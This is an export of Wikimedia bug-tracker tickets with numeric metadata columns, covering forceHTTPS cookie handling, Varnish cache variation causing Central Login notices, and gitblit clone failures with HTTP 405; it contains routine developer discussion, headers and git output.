https://gerrit.wikimedia.org/r/86101",,,1380233997,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,5.117647058823529,1.0,"Change 86101 merged by jenkins-bot:
Explicitly clear forceHTTPS cookie when insecure

GERRIT_URL"
260180,forceHTTPS session cookie placed even with HTTPS opt-out set,"Change 86101 had a related patch set uploaded by Anomie:
Explicitly clear forceHTTPS cookie when insecure

https://gerrit.wikimedia.org/r/86101",,,1380205862,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,20.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.15,1.0,"Change 86101 had a related patch set uploaded by Anomie:
Explicitly clear forceHTTPS cookie when insecure

GERRIT_URL"
260177,forceHTTPS session cookie placed even with HTTPS opt-out set,"I wonder if this is covered by anomie's https://gerrit.wikimedia.org/r/#/c/85776/ . Or not.

For the records: https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=574592983#Forced_secure_connection...again...
https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=574592983#http_login_issue",,,1380197962,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,27.0,5.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9545454545454546,0.8636363636363636,"I wonder if this is covered by anomie's URL . Or not.

For the records: URL
URL"
56513,Visiting an http address when logged in via https triggers Central Login notification?,"Copying from https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=574338454#Log-in.2FLog-out.2C_Skins_problem though this seems to cover two aspects:

Upper right corner: Cologne Blue skin not showing, notice appears ""CENTRAL LOGIN. You are centrally logged in as Carrite. Reload the page to apply your user settings."" Which doesn't work. Log-out fails. Ridiculous.  24.20.128.148

  When I get this message, I wait a few seconds then hard-refresh the page 
  (it's Ctrl+F5 in Firefox). That usually fixes it. —Redrose64

    I believe loading any page would apply settings, not just reloading 
    the previous one, but I may be wrong. —πr2 

      Small guess, the JS that does the login redressing only works for 
      Vector and Monobook. And it seems there is a problem that every time 
      you visit a http address while logged in over https, you get the 
      'central login, you are centrally logged in as' notification for 
      every page view. I'm seeing this as well right now. —TheDJ

--------------------------
**Version**: master
**Severity**: normal",High,80.0,1380040020,1382649797.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,False,PHID-TASK-f6e3gt22f74enu5oipj3,task_description,resolved,True,c2,3,True,False,True,3,True,1.6666666666666667,0.0,0.0,0.6666666666666666,1.0,3.3333333333333335,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.3333333333333333,5.666666666666667,6.333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,6.666666666666667,1.6666666666666667,1.0,0.0,2.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,12.666666666666666,0.6666666666666666,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.6666666666666667,11.0,1.6666666666666667,1.0,6.666666666666667,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,5.0,6.333333333333333,4.0,0.0,1.6666666666666667,0.0,5.0,0.0,1.0,1.3333333333333333,0.0,2.0,0.0,0.0,0.0,3.92897384305835,0.7873239436619718,"Copying from URL though this seems to cover two aspects:

Upper right corner: Cologne Blue skin not showing, notice appears ""CENTRAL LOGIN. You are centrally logged in as Carrite. Reload the page to apply your user settings."" Which doesn't work. Log-out fails. Ridiculous.  24.20.128.148

  When I get this message, I wait a few seconds then hard-refresh the page 
  (it's Ctrl+F5 in Firefox). That usually fixes it. —Redrose64

    I believe loading any page would apply settings, not just reloading 
    the previous one, but I may be wrong. —πr2 

      Small guess, the JS that does the login redressing only works for 
      Vector and Monobook. And it seems there is a problem that every time 
      you visit a http address while logged in over https, you get the 
      'central login, you are centrally logged in as' notification for 
      every page view. I'm seeing this as well right now. —TheDJ

--------------------------
**Version**: master
**Severity**: normal"
258756,Visiting an http address when logged in via https triggers Central Login notification?,"I confirmed with mark that Varnish is handling all non wikipedia (and non ipv6/https) traffic, and I haven't seen anyone complaining about this issue again. So I think the varnish change successfully prevents the issue. Please reopen if anyone sees this happening again.",,,1382649797,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,True,,,8,True,2.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,10.0,8.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,12.0,4.0,4.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,8.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.384615384615385,0.7884615384615384,"I confirmed with mark that Varnish is handling all non wikipedia (and non ipv6/https) traffic, and I haven't seen anyone complaining about this issue again. So I think the varnish change successfully prevents the issue. Please reopen if anyone sees this happening again."
258753,Visiting an http address when logged in via https triggers Central Login notification?,That is my understanding of it.,,,1380308192,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,That is my understanding of it.
258748,Visiting an http address when logged in via https triggers Central Login notification?,"Varnish ignores XVO, so the solution is to try to reproduce XVO in static Varnish configuration? So does that mean it's also ignoring other cookies specified in XVO, such as metawikiLoggedOut, centralauth_LoggedOut, mf_useformat, and stopMobileRedirect that are in the header quoted in comment 2?",,,1380300562,,PHID-USER-uqcn2l4ng4murmyfnvyp,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,13.0,12.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.865384615384615,0.7307692307692307,"Varnish ignores XVO, so the solution is to try to reproduce XVO in static Varnish configuration? So does that mean it's also ignoring other cookies specified in XVO, such as metawikiLoggedOut, centralauth_LoggedOut, mf_useformat, and stopMobileRedirect that are in the header quoted in comment 2?"
258742,Visiting an http address when logged in via https triggers Central Login notification?,"I talked with Mark about this. Since varnish ignores XVO, we need a specific VCL rule for varying on forceHTTPS.

Mark added https://gerrit.wikimedia.org/r/#/c/86268/1 to do that.",,,1380299492,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,19.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,19.0,16.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.7419354838709675,0.9032258064516129,"I talked with Mark about this. Since varnish ignores XVO, we need a specific VCL rule for varying on forceHTTPS.

Mark added URL to do that."
258738,Visiting an http address when logged in via https triggers Central Login notification?,"Actaully, it looks like MobileFrontend has already setting forceHTTPS in the XVO list. So it seems like Varnish isn't respecting that?",,,1380151449,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,16.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,12.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.56,0.92,"Actaully, it looks like MobileFrontend has already setting forceHTTPS in the XVO list. So it seems like Varnish isn't respecting that?"
258734,Visiting an http address when logged in via https triggers Central Login notification?,"Change 86044 merged by jenkins-bot:
Vary on forceHTTPS cookie

https://gerrit.wikimedia.org/r/86044",,,1380151327,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Change 86044 merged by jenkins-bot:
Vary on forceHTTPS cookie

GERRIT_URL"
258731,Visiting an http address when logged in via https triggers Central Login notification?,"Change 86044 had a related patch set uploaded by CSteipp:
Vary on forceHTTPS cookie

https://gerrit.wikimedia.org/r/86044",,,1380149023,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.611111111111111,1.0,"Change 86044 had a related patch set uploaded by CSteipp:
Vary on forceHTTPS cookie

GERRIT_URL"
258726,Visiting an http address when logged in via https triggers Central Login notification?,"I just hit this bug myself. I was logged in via HTTPS, but every time I go to http://meta.wikimedia.org/ it leaves me on the HTTP site and logs me in via Central login.

I have both the metawikiforceHTTPS and forceHTTPS cookies set to true.

Here are all the headers from the Request and Response:

Response Headers
Accept-Ranges	bytes
Age	30292
Cache-Control	private, s-maxage=0, max-age=0, must-revalidate
Connection	keep-alive
Content-Encoding	gzip
Content-Language	en
Content-Length	16558
Content-Type	text/html; charset=UTF-8
Date	Wed, 25 Sep 2013 22:24:33 GMT
Last-Modified	Wed, 25 Sep 2013 13:59:37 GMT
Server	Apache
Vary	Accept-Encoding,Cookie
Via	1.1 varnish, 1.1 varnish
X-Cache	cp1054 hit (15), cp1068 frontend hit (2123)
X-Content-Type-Options	nosniff
X-Powered-By	PHP/5.3.10-1ubuntu3.6+wmf1
X-Varnish	2043118996 3533212360, 1488879432 1469275617
X-Vary-Options	Accept-Encoding;list-contains=gzip,Cookie;string-contains=metawikiToken;string-contains=metawikiLoggedOut;string-contains=metawikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect;string-contains=forceHTTPS

Request Headers
Accept	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding	gzip, deflate
Accept-Language	en-US,en;q=0.5
Cache-Control	no-cache
Connection	keep-alive
Cookie	metawikiforceHTTPS=1; forceHTTPS=1; stopMobileRedirect=true; centralnotice_bucket=0-4.2; mediaWiki.user.sessionId=ox79ZiUXx2F4mdQgHKLUS2NBGB34Iut6; uls-previous-languages=%5B%22en%22%5D; optin=beta
Host	meta.wikimedia.org
Pragma	no-cache
User-Agent	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0",,,1380148436,,PHID-USER-a5pveeqqwaddgfjiv2fq,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,False,,,4,True,0.5,0.0,0.0,0.25,0.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,2.0,0.5,2.5,0.0,0.0,0.25,0.0,0.0,0.75,0.25,0.0,0.0,0.0,0.0,0.75,2.75,1.5,0.25,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.25,0.0,0.25,0.0,0.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,21.75,0.0,1.25,2.25,0.0,0.0,0.0,0.0,1.0,0.0,5.75,0.0,2.0,2.5,20.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.75,0.75,0.0,0.0,0.5,4.309602463605823,0.562010078387458,"I just hit this bug myself. I was logged in via HTTPS, but every time I go to URL it leaves me on the HTTP site and logs me in via Central login.

I have both the metawikiforceHTTPS and forceHTTPS cookies set to true.

Here are all the headers from the Request and Response:

Response Headers
Accept-Ranges	bytes
Age	30292
Cache-Control	private, s-maxage=0, max-age=0, must-revalidate
Connection	keep-alive
Content-Encoding	gzip
Content-Language	en
Content-Length	16558
Content-Type	text/html; charset=UTF-8
Date	Wed, 25 Sep 2013 22:24:33 GMT
Last-Modified	Wed, 25 Sep 2013 13:59:37 GMT
Server	Apache
Vary	Accept-Encoding,Cookie
Via	1.1 varnish, 1.1 varnish
X-Cache	cp1054 hit (15), cp1068 frontend hit (2123)
X-Content-Type-Options	nosniff
X-Powered-By	PHP/5.3.10-1ubuntu3.6+wmf1
X-Varnish	2043118996 3533212360, 1488879432 1469275617
X-Vary-Options	Accept-Encoding;list-contains=gzip,Cookie;string-contains=metawikiToken;string-contains=metawikiLoggedOut;string-contains=metawikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect;string-contains=forceHTTPS

Request Headers
Accept	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding	gzip, deflate
Accept-Language	en-US,en;q=0.5
Cache-Control	no-cache
Connection	keep-alive
Cookie	metawikiforceHTTPS=1; forceHTTPS=1; stopMobileRedirect=true; centralnotice_bucket=0-4.2; mediaWiki.user.sessionId=ox79ZiUXx2F4mdQgHKLUS2NBGB34Iut6; uls-previous-languages=%5B%22en%22%5D; optin=beta
Host	meta.wikimedia.org
Pragma	no-cache
User-Agent	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0"
258720,Visiting an http address when logged in via https triggers Central Login notification?,"What it sounds like is happening is that the login cookies are being set as secure, but the forceHTTPS cookie isn't being set so reloading doesn't result in a redirect to https.

I suspect this may have been fixed with Gerrit change 85776, which will be deployed along with 1.22wmf19 (see https://www.mediawiki.org/wiki/MediaWiki_1.22/Roadmap for the schedule). Unless Chris is going to include it with his CentralAuth deploy later today, in which case it might go out sooner.",,,1380120197,,PHID-USER-uqcn2l4ng4murmyfnvyp,True,,,PHID-TASK-f6e3gt22f74enu5oipj3,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,6.0,2.0,1.0,1.0,0.0,0.0,1.0,3.0,2.0,0.0,0.0,0.0,1.0,0.0,6.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,10.0,2.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,5.0,10.0,8.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,6.0,15.0,5.0,0.0,0.0,0.0,6.0,0.0,3.0,1.0,0.0,2.0,1.0,0.0,0.0,4.045977011494253,0.7816091954022989,"What it sounds like is happening is that the login cookies are being set as secure, but the forceHTTPS cookie isn't being set so reloading doesn't result in a redirect to https.

I suspect this may have been fixed with Gerrit change 85776, which will be deployed along with 1.22wmf19 (see URL for the schedule). Unless Chris is going to include it with his CentralAuth deploy later today, in which case it might go out sooner."
56417,First clone for a repository from gitblit fails with HTTP 405,"This is weird, but reproducible.  The *first* time you try to clone a repository in a directory with:

git clone https://git.wikimedia.org/git/mediawiki/extensions/SomeExtension.git

it fails with:

Cloning into 'SomeExtension'...
error: RPC failed; result=22, HTTP code = 405
fatal: The remote end hung up unexpectedly

The second time, it succeeds.  I've reproduced it with multiple extensions (e.g. UploadWizard) on both Labs and my own machine.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**Whiteboard**: aklapper-moreinfo",High,80.0,1379750640,1395435134.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-clkereghqucvvv2xs4zj,task_description,resolved,True,c2,3,False,False,False,3,True,0.0,0.0,0.0,0.0,0.0,5.5,0.5,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,1.5,0.0,1.5,4.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,10.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,10.0,0.0,1.5,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,4.5,4.5,5.5,0.0,1.0,0.0,4.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,3.665819209039548,0.7306497175141242,"This is weird, but reproducible.  The *first* time you try to clone a repository in a directory with:

git clone URL

it fails with:

Cloning into 'SomeExtension'...
error: RPC failed; result=22, HTTP code = 405
fatal: The remote end hung up unexpectedly

The second time, it succeeds.  I've reproduced it with multiple extensions (e.g. UploadWizard) on both Labs and my own machine.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**Whiteboard**: aklapper-moreinfo"
252807,First clone for a repository from gitblit fails with HTTP 405,"Seems to be fixed.  I tested with one I'm pretty sure has never been on my machine, and it worked on the first try for me too.",,,1395435134,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c2,3,False,,,29,True,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,9.0,16.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.125,0.90625,"Seems to be fixed.  I tested with one I'm pretty sure has never been on my machine, and it worked on the first try for me too."
252800,First clone for a repository from gitblit fails with HTTP 405,"(In reply to Matthew Flaschen from comment #0)
> The *first* time you try to clone a repository in a directory with:
> git clone
> https://git.wikimedia.org/git/mediawiki/extensions/SomeExtension.git
> it fails with:
> 
> Cloning into 'SomeExtension'...
> error: RPC failed; result=22, HTTP code = 405
> fatal: The remote end hung up unexpectedly

Tried in a separate local tmp directory and had no problems.
Does anybody still see this problem? (Or: What am I doing wrong?)

$:andre\> git clone https://git.wikimedia.org/git/mediawiki/extensions/AbuseFilter.gitCloning into 'AbuseFilter'...
remote: Counting objects: 1022, done
remote: Finding sources: 100% (897/897)
remote: Getting sizes: 100% (618/618)
remote: Compressing objects:  99% (667197/667198)
remote: Total 8858 (delta 32), reused 7967 (delta 0)
Receiving objects: 100% (8858/8858), 22.07 MiB | 1.19 MiB/s, done.
Resolving deltas: 100% (5990/5990), done.
Checking connectivity... done.
$:andre\> git clone https://git.wikimedia.org/git/mediawiki/extensions/UploadWizard.git
Cloning into 'UploadWizard'...
remote: Counting objects: 1528, done
remote: Finding sources: 100% (1424/1424)
remote: Getting sizes: 100% (1061/1061)
remote: Compressing objects:  99% (678617/678618)
remote: Total 10560 (delta 92), reused 9136 (delta 0)
Receiving objects: 100% (10560/10560), 32.83 MiB | 1.19 MiB/s, done.
Resolving deltas: 100% (7141/7141), done.
Checking connectivity... done.
$:andre\>",,,1394717567,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c2,3,True,,,28,True,0.0,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,2.6666666666666665,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.333333333333332,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,13.666666666666666,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,11.333333333333334,0.0,0.3333333333333333,2.0,8.0,0.6666666666666666,1.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,3.0,0.0,0.0,2.0,3.3017543859649123,0.5508771929824562,"(In reply to Matthew Flaschen from comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Tried in a separate local tmp directory and had no problems.
Does anybody still see this problem? (Or: What am I doing wrong?)

$:andre\> git clone URL into 'AbuseFilter'...
remote: Counting objects: 1022, done
remote: Finding sources: 100% (897/897)
remote: Getting sizes: 100% (618/618)
remote: Compressing objects:  99% (667197/667198)
remote: Total 8858 (delta 32), reused 7967 (delta 0)
Receiving objects: 100% (8858/8858), 22.07 MiB | 1.19 MiB/s, done.
Resolving deltas: 100% (5990/5990), done.
Checking connectivity... done.
$:andre\> git clone URL
Cloning into 'UploadWizard'...
remote: Counting objects: 1528, done
remote: Finding sources: 100% (1424/1424)
remote: Getting sizes: 100% (1061/1061)
remote: Compressing objects:  99% (678617/678618)
remote: Total 10560 (delta 92), reused 9136 (delta 0)
Receiving objects: 100% (10560/10560), 32.83 MiB | 1.19 MiB/s, done.
Resolving deltas: 100% (7141/7141), done.
Checking connectivity... done.
$:andre\>"
252795,First clone for a repository from gitblit fails with HTTP 405,"Huh? How could a POST request become a GET request? Some sort of Varnish misconfiguration?

POST /git/mediawiki/extensions/AssertEdit.git/git-upload-pack HTTP/1.1
User-Agent: git/1.8.4
Host: git.wikimedia.org
Accept-Encoding: gzip
Content-Type: application/x-git-upload-pack-request
Accept: application/x-git-upload-pack-result
Content-Length: 324

006fwant 8042c39f1df86789e50f04712c15a1c219dbb178 multi_ack_detailed no-done side-band-64k thin-pack ofs-delta
0032want 045a6acef5ad87bfa6a580c2b09295e5d761105c
0032want 523feba3de364984f5b099a5ea029254c9c4df23
0032want 76271fbc23b797b0c3340733e91432ac9154d44e
0032want 8042c39f1df86789e50f04712c15a1c219dbb178
00000009done
HTTP/1.1 405 HTTP method GET is not supported by this URL
Pragma: no-cache
Content-Type: text/html;charset=ISO-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Server: Jetty(7.6.8.v20121106)
Content-Length: 1490
Accept-Ranges: bytes
Date: Thu, 26 Sep 2013 07:13:13 GMT
X-Varnish: 1193742703
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: cp1044 miss (0)

<html>
<head>
